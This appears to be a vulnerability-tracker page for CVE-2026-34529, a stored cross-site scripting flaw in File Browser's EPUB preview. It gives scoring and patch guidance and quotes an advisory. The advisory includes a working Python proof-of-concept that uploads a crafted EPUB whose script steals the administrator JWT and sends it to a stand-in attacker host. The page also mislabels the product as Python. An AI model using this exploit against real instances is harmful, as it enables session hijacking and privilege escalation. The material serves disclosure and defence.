What is the CVSS score of CVE-2026-34529?

CVE-2026-34529 has a CVSS 3.1 base score of 7.6 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N. EPSS exploitation probability: 0.0%.

Which versions of Python are affected by CVE-2026-34529?

CVE-2026-34529 is a stored cross-site scripting vulnerability in File Browser's EPUB preview function that allows authenticated users with file upload permissions to steal administrator JWT tokens…. A patch is available.

How to fix or mitigate CVE-2026-34529?

Within 24 hours: Identify all File Browser instances running version 2.62.1 or earlier in your environment and document affected systems. Within 7 days: Apply the vendor-released patch to all affected instances immediately, as authenticated attackers with file upload permissions pose direct risk to administrator accounts. Within 30 days: Conduct post-patch validation testing and review file upload access controls to restrict EPUB upload permissions to trusted users only.

Python CVE-2026-34529

HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-03-31 https://github.com/filebrowser/filebrowser

GHSA-5vpr-4fgw-f69h

XSS Privilege Escalation Python Docker Mozilla

7.6

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

7.6 HIGH

AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

Low

Availability

None

Lifecycle Timeline

Patch released

Apr 01, 2026 - 02:30 nvd

Patch available

Analysis Generated

Apr 01, 2026 - 00:30 vuln.today

CVE Published

Mar 31, 2026 - 23:44 nvd

HIGH 7.6

DescriptionGitHub Advisory

Summary

The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.

Details

frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component:

// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
  allowPopups: true,
  allowScriptedContent: true,
}"

epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective - the script can access the parent frame's DOM and storage.

The epub.js developers explicitly warn against enabling scripted content.

PoC

I've crafted the PoC python script that could be ran on test environment using docker compose:

yaml

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

python

import argparse
import io
import sys
import zipfile
import requests


BANNER = """
  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""



CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
  <rootfiles>
    <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
  </rootfiles>
</container>"""



CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
  <metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
    <dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
    <dc:title>Security Test Document</dc:title>
    <dc:language>en</dc:language>
    <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
  </metadata>
  <manifest>
    <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
    <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
  </manifest>
  <spine>
    <itemref idref="chapter1"/>
  </spine>
</package>"""



NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
  <nav epub:type="toc">
    <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
  </nav>
</body>
</html>"""



XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
  <h1>Security Test Document</h1>
  <p>This document tests EPUB script execution in File Browser.</p>
  <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
  <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
  <script>
  var out = document.getElementById("xss-proof");
  var ipOut = document.getElementById("ip-proof");
  var jwt = "not-found";
  try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
  out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
  fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
    ipOut.textContent = "Victim public IP: " + ip.trim();
  }).catch(function(e){
    ipOut.textContent = "IP fetch failed: " + e.message;
  });
  var img = new Image();
  img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
  </script>
</body>
</html>"""




def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')



def build_epub() -> bytes:
    """Build a minimal EPUB 3 file with embedded JavaScript."""
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
        zf.writestr("META-INF/container.xml", CONTAINER_XML)
        zf.writestr("OEBPS/content.opf", CONTENT_OPF)
        zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
        zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
    return buf.getvalue()



def main():
    print(BANNER)
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via malicious EPUB PoC",
        epilog="""examples:
  %(prog)s -t http://localhost:8080 -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u user -p pass

root cause:
  frontend/src/views/files/Preview.vue passes
  epubOptions: { allowScriptedContent: true } to the vue-reader
  (epub.js) component. The iframe sandbox includes allow-scripts
  and allow-same-origin, which lets the script access the parent
  frame's localStorage and make arbitrary network requests.

impact:
  Session hijacking, privilege escalation, data exfiltration.
  A low-privilege user with upload access can steal admin tokens.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost:8080)")
    ap.add_argument("-u", "--user", required=True,
                    help="Username to authenticate with")
    ap.add_argument("-p", "--password", required=True,
                    help="Password to authenticate with")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Building malicious EPUB")
    epub_data = build_epub()
    print(f"      EPUB size: {len(epub_data)} bytes")

    upload_path = "/poc_xss_test.epub"
    print(f"\n  [3] Uploading to {upload_path}")
    requests.delete(f"{base}/api/resources{upload_path}",
                    headers={"X-Auth": token}, timeout=10)
    r = requests.post(
        f"{base}/api/resources{upload_path}?override=true",
        data=epub_data,
        headers={
            "X-Auth": token,
            "Content-Type": "application/epub+zip",
        },
        timeout=30
    )

    if r.status_code in (200, 201, 204):
        print(f"      Upload OK ({r.status_code})")
    else:
        print(f"      Upload FAILED: {r.status_code} {r.text[:200]}")
        sys.exit(1)

    preview_url = f"{base}/files{upload_path}"

    print(f"\n  [4] Done")
    print(f"      Preview URL: {preview_url}")
    print("====================")
    print()
    print()
    print(f"Open the URL above in a browser. You should see:")
    print(f"  - Red text:    \"XSS OK\" + stolen JWT token")
    print(f"  - Orange text: victim's public IP (via ifconfig.me)")
    print()
    print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
    print(f"The attack is silent - JWT theft and network exfiltration work.")


if __name__ == "__main__":
    main()

And terminal output:

bash

root@server205:~/sec-filebrowser
# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t

  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)


[*] ATTACK BEGINS...
====================
  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Building malicious EPUB
      EPUB size: 1927 bytes

  [3] Uploading to /poc_xss_test.epub
      Upload OK (200)

  [4] Done
      Preview URL: http://localhost/files/poc_xss_test.epub
====================


Open the URL above in a browser. You should see:
  - Red text:    "XSS OK" + stolen JWT token
  - Orange text: victim's public IP (via ifconfig.me)

NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent - JWT theft and network exfiltration work.

<br/>

Impact

JWT token theft - full session hijacking
Privilege escalation - a low-privilege user with upload (Create) permission can steal an admin's token

AnalysisAI

Stored XSS in File Browser's EPUB preview function (versions ≤v2.62.1) allows authenticated attackers to steal JWT tokens and escalate privileges by uploading malicious EPUB files. The vulnerability arises from passing allowScriptedContent:true to the epub.js library combined with an ineffective iframe sandbox (allow-scripts + allow-same-origin), enabling JavaScript in crafted EPUBs to access parent frame localStorage. CVSS 7.6 (AV:N/AC:L/PR:L/UI:R/S:C). No public exploit identified at time of analysis beyond the detailed PoC in the advisory. EPSS data not available. Vendor-released patch available per GitHub advisory. Low-privilege users with file upload permissions can weaponize this to compromise administrator sessions.